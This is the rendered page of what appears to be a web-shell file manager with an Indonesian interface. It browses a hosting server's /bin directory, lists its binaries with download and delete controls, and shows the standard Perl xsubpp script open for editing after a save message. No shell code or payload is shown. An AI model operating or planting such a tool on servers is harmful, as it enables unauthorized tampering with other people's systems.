PATH: //proc/self/root/bin
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📄 GET
↓
X
📄 Mail
↓
X
📄 [
↓
X
📄 aclocal
↓
X
📄 aclocal-1.16
↓
X
📄 addr2line
↓
X
📄 agentxtrap
↓
X
📄 animate
↓
X
📄 ar
↓
X
📄 arch
↓
X
📄 arpaname
↓
X
📄 as
↓
X
📄 aspell
↓
X
📄 at
↓
X
📄 atq
↓
X
📄 atrm
↓
X
📄 autoconf
↓
X
📄 autoheader
↓
X
📄 autom4te
↓
X
📄 automake
↓
X
📄 automake-1.16
↓
X
📄 autoreconf
↓
X
📄 autoscan
↓
X
📄 autoupdate
↓
X
📄 awk
↓
X
📄 b2sum
↓
X
📄 base32
↓
X
📄 base64
↓
X
📄 basename
↓
X
📄 basenc
↓
X
📄 bash
↓
X
📄 bashbug-64
↓
X
📄 batch
↓
X
📄 bison
↓
X
📄 bunzip2
↓
X
📄 bzcat
↓
X
📄 bzcmp
↓
X
📄 bzdiff
↓
X
📄 bzgrep
↓
X
📄 bzip2
↓
X
📄 bzip2recover
↓
X
📄 bzless
↓
X
📄 bzmore
↓
X
📄 c++
↓
X
📄 c++filt
↓
X
📄 c89
↓
X
📄 c99
↓
X
📄 cagefs_enter.proxied
↓
X
📄 cal
↓
X
📄 captoinfo
↓
X
📄 cat
↓
X
📄 catchsegv
↓
X
📄 cc
↓
X
📄 chcon
↓
X
📄 chgrp
↓
X
📄 chmod
↓
X
📄 chown
↓
X
📄 chrt
↓
X
📄 cksum
↓
X
📄 cldetect
↓
X
📄 clear
↓
X
📄 cloudlinux-awp-user
↓
X
📄 clusterdb
↓
X
📄 clwpos-user
↓
X
📄 cmp
↓
X
📄 col
↓
X
📄 colcrt
↓
X
📄 colrm
↓
X
📄 column
↓
X
📄 comm
↓
X
📄 compare
↓
X
📄 composite
↓
X
📄 conjure
↓
X
📄 convert
↓
X
📄 cp
↓
X
📄 cpan
↓
X
📄 cpp
↓
X
📄 createdb
↓
X
📄 createuser
↓
X
📄 crontab
↓
X
📄 crontab.cagefs
↓
X
📄 csplit
↓
X
📄 curl
↓
X
📄 cut
↓
X
📄 cyrusbdb2current
↓
X
📄 date
↓
X
📄 dbiprof
↓
X
📄 dd
↓
X
📄 delv
↓
X
📄 df
↓
X
📄 diff
↓
X
📄 diff3
↓
X
📄 dig
↓
X
📄 dir
↓
X
📄 dircolors
↓
X
📄 dirname
↓
X
📄 display
↓
X
📄 dnstap-read
↓
X
📄 dropdb
↓
X
📄 dropuser
↓
X
📄 du
↓
X
📄 echo
↓
X
📄 ed
↓
X
📄 egrep
↓
X
📄 enc2xs
↓
X
📄 enchant
↓
X
📄 enchant-lsmod
↓
X
📄 env
↓
X
📄 eps2eps
↓
X
📄 eqn
↓
X
📄 ex
↓
X
📄 expand
↓
X
📄 expr
↓
X
📄 factor
↓
X
📄 false
↓
X
📄 fc-cache
↓
X
📄 fc-cache-64
↓
X
📄 fc-cat
↓
X
📄 fc-conflist
↓
X
📄 fc-list
↓
X
📄 fc-match
↓
X
📄 fc-pattern
↓
X
📄 fc-query
↓
X
📄 fc-scan
↓
X
📄 fc-validate
↓
X
📄 fgrep
↓
X
📄 file
↓
X
📄 find
↓
X
📄 flex
↓
X
📄 flex++
↓
X
📄 flock
↓
X
📄 fmt
↓
X
📄 fold
↓
X
📄 free
↓
X
📄 freetype-config
↓
X
📄 funzip
↓
X
📄 g++
↓
X
📄 gawk
↓
X
📄 gcc
↓
X
📄 gcc-ar
↓
X
📄 gcc-nm
↓
X
📄 gcc-ranlib
↓
X
📄 gcov
↓
X
📄 gcov-dump
↓
X
📄 gcov-tool
↓
X
📄 gem
↓
X
📄 gencat
↓
X
📄 geoiplookup
↓
X
📄 geoiplookup6
↓
X
📄 geqn
↓
X
📄 getconf
↓
X
📄 getent
↓
X
📄 getopt
↓
X
📄 ghostscript
↓
X
📄 git
↓
X
📄 git-receive-pack
↓
X
📄 git-shell
↓
X
📄 git-upload-archive
↓
X
📄 git-upload-pack
↓
X
📄 gm
↓
X
📄 gmake
↓
X
📄 gneqn
↓
X
📄 gnroff
↓
X
📄 gpg
↓
X
📄 gpg-agent
↓
X
📄 gpg-error
↓
X
📄 gpgsplit
↓
X
📄 gpgv
↓
X
📄 gpic
↓
X
📄 gprof
↓
X
📄 grep
↓
X
📄 groff
↓
X
📄 grops
↓
X
📄 grotty
↓
X
📄 groups
↓
X
📄 gs
↓
X
📄 gsnd
↓
X
📄 gsoelim
↓
X
📄 gtar
↓
X
📄 gtbl
↓
X
📄 gtroff
↓
X
📄 gunzip
↓
X
📄 gzexe
↓
X
📄 gzip
↓
X
📄 h2ph
↓
X
📄 h2xs
↓
X
📄 head
↓
X
📄 hexdump
↓
X
📄 host
↓
X
📄 hostid
↓
X
📄 hostname
↓
X
📄 hunspell
↓
X
📄 iconv
↓
X
📄 icu-config
↓
X
📄 icu-config-64
↓
X
📄 icuinfo
↓
X
📄 id
↓
X
📄 identify
↓
X
📄 idn
↓
X
📄 ifnames
↓
X
📄 import
↓
X
📄 infocmp
↓
X
📄 infotocap
↓
X
📄 install
↓
X
📄 instmodsh
↓
X
📄 ionice
↓
X
📄 ipcrm
↓
X
📄 ipcs
↓
X
📄 isosize
↓
X
📄 ispell
↓
X
📄 join
↓
X
📄 kill
↓
X
📄 ld
↓
X
📄 ld.bfd
↓
X
📄 ldd
↓
X
📄 less
↓
X
📄 lessecho
↓
X
📄 lesskey
↓
X
📄 lesspipe.sh
↓
X
📄 lex
↓
X
📄 libnetcfg
↓
X
📄 libtool
↓
X
📄 libtoolize
↓
X
📄 link
↓
X
📄 ln
↓
X
📄 locale
↓
X
📄 localedef
↓
X
📄 logger
↓
X
📄 login
↓
X
📄 logname
↓
X
📄 look
↓
X
📄 ls
↓
X
📄 lto-dump
↓
X
📄 m4
↓
X
📄 mail
↓
X
📄 mailx
↓
X
📄 make
↓
X
📄 make-dummy-cert
↓
X
📄 mariadb
↓
X
📄 mariadb-access
↓
X
📄 mariadb-admin
↓
X
📄 mariadb-binlog
↓
X
📄 mariadb-check
↓
X
📄 mariadb-conv
↓
X
📄 mariadb-convert-table-format
↓
X
📄 mariadb-dump
↓
X
📄 mariadb-dumpslow
↓
X
📄 mariadb-embedded
↓
X
📄 mariadb-find-rows
↓
X
📄 mariadb-hotcopy
↓
X
📄 mariadb-import
↓
X
📄 mariadb-plugin
↓
X
📄 mariadb-secure-installation
↓
X
📄 mariadb-setpermission
↓
X
📄 mariadb-show
↓
X
📄 mariadb-slap
↓
X
📄 mariadb-tzinfo-to-sql
↓
X
📄 mariadb-waitpid
↓
X
📄 mcookie
↓
X
📄 md5sum
↓
X
📄 mesg
↓
X
📄 mkdir
↓
X
📄 mkfifo
↓
X
📄 mknod
↓
X
📄 mktemp
↓
X
📄 mogrify
↓
X
📄 montage
↓
X
📄 more
↓
X
📄 msql2mysql
↓
X
📄 mv
↓
X
📄 my_print_defaults
↓
X
📄 mysql
↓
X
📄 mysql_config
↓
X
📄 mysql_find_rows
↓
X
📄 mysql_waitpid
↓
X
📄 mysqlaccess
↓
X
📄 mysqladmin
↓
X
📄 mysqlbinlog
↓
X
📄 mysqlcheck
↓
X
📄 mysqldump
↓
X
📄 mysqlimport
↓
X
📄 mysqlshow
↓
X
📄 mytop
↓
X
📄 namei
↓
X
📄 nano
↓
X
📄 neqn
↓
X
📄 net-snmp-create-v3-user
↓
X
📄 nice
↓
X
📄 nl
↓
X
📄 nm
↓
X
📄 nohup
↓
X
📄 nproc
↓
X
📄 nroff
↓
X
📄 nslookup
↓
X
📄 nsupdate
↓
X
📄 numfmt
↓
X
📄 objcopy
↓
X
📄 objdump
↓
X
📄 od
↓
X
📄 openssl
↓
X
📄 pango-list
↓
X
📄 pango-segmentation
↓
X
📄 pango-view
↓
X
📄 passenger
↓
X
📄 passwd
↓
X
📄 paste
↓
X
📄 patch
↓
X
📄 pathchk
↓
X
📄 pdf2dsc
↓
X
📄 pdf2ps
↓
X
📄 perl
↓
X
📄 perl5.32.1
↓
X
📄 perlbug
↓
X
📄 perldoc
↓
X
📄 perlivp
↓
X
📄 perlml
↓
X
📄 perlthanks
↓
X
📄 pg_dump
↓
X
📄 pg_dumpall
↓
X
📄 pg_restore
↓
X
📄 pgrep
↓
X
📄 php
↓
X
📄 pic
↓
X
📄 piconv
↓
X
📄 ping
↓
X
📄 pinky
↓
X
📄 pkg-config
↓
X
📄 pkill
↓
X
📄 pl2pm
↓
X
📄 pmap
↓
X
📄 pod2html
↓
X
📄 pod2man
↓
X
📄 pod2text
↓
X
📄 pod2usage
↓
X
📄 podchecker
↓
X
📄 post-grohtml
↓
X
📄 pr
↓
X
📄 pre-grohtml
↓
X
📄 precat
↓
X
📄 preunzip
↓
X
📄 prezip
↓
X
📄 prezip-bin
↓
X
📄 printenv
↓
X
📄 printf
↓
X
📄 prove
↓
X
📄 ps
↓
X
📄 ps2ascii
↓
X
📄 ps2epsi
↓
X
📄 ps2pdf
↓
X
📄 ps2pdf12
↓
X
📄 ps2pdf13
↓
X
📄 ps2pdf14
↓
X
📄 ps2pdfwr
↓
X
📄 ps2ps
↓
X
📄 ps2ps2
↓
X
📄 psql
↓
X
📄 ptx
↓
X
📄 pwd
↓
X
📄 pwdx
↓
X
📄 pydoc
↓
X
📄 pydoc3
↓
X
📄 pydoc3.9
↓
X
📄 ranlib
↓
X
📄 readelf
↓
X
📄 readlink
↓
X
📄 realpath
↓
X
📄 recode
↓
X
📄 red
↓
X
📄 reindexdb
↓
X
📄 rename
↓
X
📄 renew-dummy-cert
↓
X
📄 renice
↓
X
📄 replace
↓
X
📄 reset
↓
X
📄 rev
↓
X
📄 rm
↓
X
📄 rmdir
↓
X
📄 rnano
↓
X
📄 ruby
↓
X
📄 run-with-aspell
↓
X
📄 runcon
↓
X
📄 rvi
↓
X
📄 rview
↓
X
📄 scalar
↓
X
📄 scl
↓
X
📄 scl_enabled
↓
X
📄 scl_source
↓
X
📄 scp
↓
X
📄 script
↓
X
📄 sdiff
↓
X
📄 sed
↓
X
📄 selectorctl
↓
X
📄 seq
↓
X
📄 setsid
↓
X
📄 setterm
↓
X
📄 sftp
↓
X
📄 sh
↓
X
📄 sha1sum
↓
X
📄 sha224sum
↓
X
📄 sha256sum
↓
X
📄 sha384sum
↓
X
📄 sha512sum
↓
X
📄 shred
↓
X
📄 shuf
↓
X
📄 size
↓
X
📄 skill
↓
X
📄 slabtop
↓
X
📄 sleep
↓
X
📄 snice
↓
X
📄 snmpconf
↓
X
📄 soelim
↓
X
📄 sort
↓
X
📄 spell
↓
X
📄 splain
↓
X
📄 split
↓
X
📄 sprof
↓
X
📄 sqlite3
↓
X
📄 ssh
↓
X
📄 ssh-add
↓
X
📄 ssh-agent
↓
X
📄 ssh-copy-id
↓
X
📄 ssh-keygen
↓
X
📄 ssh-keyscan
↓
X
📄 stat
↓
X
📄 stdbuf
↓
X
📄 strace
↓
X
📄 stream
↓
X
📄 strings
↓
X
📄 strip
↓
X
📄 stty
↓
X
📄 sum
↓
X
📄 sync
↓
X
📄 tabs
↓
X
📄 tac
↓
X
📄 tail
↓
X
📄 tar
↓
X
📄 taskset
↓
X
📄 tbl
↓
X
📄 tclsh
↓
X
📄 tclsh8.6
↓
X
📄 tee
↓
X
📄 test
↓
X
📄 tic
↓
X
📄 timeout
↓
X
📄 tload
↓
X
📄 tmpwatch
↓
X
📄 toe
↓
X
📄 top
↓
X
📄 touch
↓
X
📄 tput
↓
X
📄 tr
↓
X
📄 troff
↓
X
📄 true
↓
X
📄 truncate
↓
X
📄 tset
↓
X
📄 tsort
↓
X
📄 tty
↓
X
📄 tzselect
↓
X
📄 uapi
↓
X
📄 ul
↓
X
📄 uname
↓
X
📄 unexpand
↓
X
📄 uniq
↓
X
📄 unlink
↓
X
📄 unzip
↓
X
📄 unzipsfx
↓
X
📄 uptime
↓
X
📄 users
↓
X
📄 utmpdump
↓
X
📄 vacuumdb
↓
X
📄 vdir
↓
X
📄 vi
↓
X
📄 view
↓
X
📄 vmstat
↓
X
📄 watch
↓
X
📄 wc
↓
X
📄 wget
↓
X
📄 whereis
↓
X
📄 which
↓
X
📄 who
↓
X
📄 whoami
↓
X
📄 word-list-compress
↓
X
📄 x86_64-redhat-linux-c++
↓
X
📄 x86_64-redhat-linux-g++
↓
X
📄 x86_64-redhat-linux-gcc
↓
X
📄 x86_64-redhat-linux-gcc-11
↓
X
📄 xargs
↓
X
📄 xmlcatalog
↓
X
📄 xmllint
↓
X
📄 xmlwf
↓
X
📄 xsltproc
↓
X
📄 xsubpp
↓
X
📄 yes
↓
X
📄 zcat
↓
X
📄 zcmp
↓
X
📄 zdiff
↓
X
📄 zegrep
↓
X
📄 zfgrep
↓
X
📄 zforce
↓
X
📄 zgrep
↓
X
📄 zip
↓
X
📄 zipcloak
↓
X
📄 zipgrep
↓
X
📄 zipinfo
↓
X
📄 zipnote
↓
X
📄 zipsplit
↓
X
📄 zless
↓
X
📄 zmore
↓
X
📄 znew
↓
X
📄 zsoelim
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: xsubpp
#!/usr/bin/perl use 5.006; BEGIN { pop @INC if $INC[-1] eq '.' } use strict; eval { require ExtUtils::ParseXS; 1; } or do { my $err = $@ || 'Zombie error'; my $v = $ExtUtils::ParseXS::VERSION; $v = '<undef>' if not defined $v; die "Failed to load or import from ExtUtils::ParseXS (version $v). Please check that ExtUtils::ParseXS is installed correctly and that the newest version will be found in your \@INC path: $err"; }; use Getopt::Long; my %args = (); my $usage = "Usage: xsubpp [-v] [-csuffix csuffix] [-except] [-prototypes] [-noversioncheck] [-nolinenumbers] [-nooptimize] [-noinout] [-noargtypes] [-strip|s pattern] [-typemap typemap]... file.xs\n"; Getopt::Long::Configure qw(no_auto_abbrev no_ignore_case); @ARGV = grep {$_ ne '-C++'} @ARGV; # Allow -C++ for backward compatibility GetOptions(\%args, qw(hiertype! prototypes! versioncheck! linenumbers! optimize! inout! argtypes! object_capi! except! v typemap=s@ output=s s|strip=s csuffix=s )) or die $usage; if ($args{v}) { print "xsubpp version $ExtUtils::ParseXS::VERSION\n"; exit; } @ARGV == 1 or die $usage; $args{filename} = shift @ARGV; my $pxs = ExtUtils::ParseXS->new; $pxs->process_file(%args); exit( $pxs->report_error_count() ? 1 : 0 ); __END__ =head1 NAME xsubpp - compiler to convert Perl XS code into C code =head1 SYNOPSIS B<xsubpp> [B<-v>] [B<-except>] [B<-s pattern>] [B<-prototypes>] [B<-noversioncheck>] [B<-nolinenumbers>] [B<-nooptimize>] [B<-typemap typemap>] [B<-output filename>]... file.xs =head1 DESCRIPTION This compiler is typically run by the makefiles created by L<ExtUtils::MakeMaker> or by L<Module::Build> or other Perl module build tools. I<xsubpp> will compile XS code into C code by embedding the constructs necessary to let C functions manipulate Perl values and creates the glue necessary to let Perl access those functions. The compiler uses typemaps to determine how to map C function parameters and variables to Perl values. The compiler will search for typemap files called I<typemap>. It will use the following search path to find default typemaps, with the rightmost typemap taking precedence. ../../../typemap:../../typemap:../typemap:typemap It will also use a default typemap installed as C<ExtUtils::typemap>. =head1 OPTIONS Note that the C<XSOPT> MakeMaker option may be used to add these options to any makefiles generated by MakeMaker. =over 5 =item B<-hiertype> Retains '::' in type names so that C++ hierarchical types can be mapped. =item B<-except> Adds exception handling stubs to the C code. =item B<-typemap typemap> Indicates that a user-supplied typemap should take precedence over the default typemaps. This option may be used multiple times, with the last typemap having the highest precedence. =item B<-output filename> Specifies the name of the output file to generate. If no file is specified, output will be written to standard output. =item B<-v> Prints the I<xsubpp> version number to standard output, then exits. =item B<-prototypes> By default I<xsubpp> will not automatically generate prototype code for all xsubs. This flag will enable prototypes. =item B<-noversioncheck> Disables the run time test that determines if the object file (derived from the C<.xs> file) and the C<.pm> files have the same version number. =item B<-nolinenumbers> Prevents the inclusion of '#line' directives in the output. =item B<-nooptimize> Disables certain optimizations. The only optimization that is currently affected is the use of I<target>s by the output C code (see L<perlguts>). This may significantly slow down the generated code, but this is the way B<xsubpp> of 5.005 and earlier operated. =item B<-noinout> Disable recognition of C<IN>, C<OUT_LIST> and C<INOUT_LIST> declarations. =item B<-noargtypes> Disable recognition of ANSI-like descriptions of function signature. =item B<-C++> Currently doesn't do anything at all. This flag has been a no-op for many versions of perl, at least as far back as perl5.003_07. It's allowed here for backwards compatibility. =item B<-s=...> or B<-strip=...> I<This option is obscure and discouraged.> If specified, the given string will be stripped off from the beginning of the C function name in the generated XS functions (if it starts with that prefix). This only applies to XSUBs without C<CODE> or C<PPCODE> blocks. For example, the XS: void foo_bar(int i); when C<xsubpp> is invoked with C<-s foo_> will install a C<foo_bar> function in Perl, but really call C<bar(i)> in C. Most of the time, this is the opposite of what you want and failure modes are somewhat obscure, so please avoid this option where possible. =back =head1 ENVIRONMENT No environment variables are used. =head1 AUTHOR Originally by Larry Wall. Turned into the C<ExtUtils::ParseXS> module by Ken Williams. =head1 MODIFICATION HISTORY See the file F<Changes>. =head1 SEE ALSO perl(1), perlxs(1), perlxstut(1), ExtUtils::ParseXS =cut
SIMPAN PERUBAHAN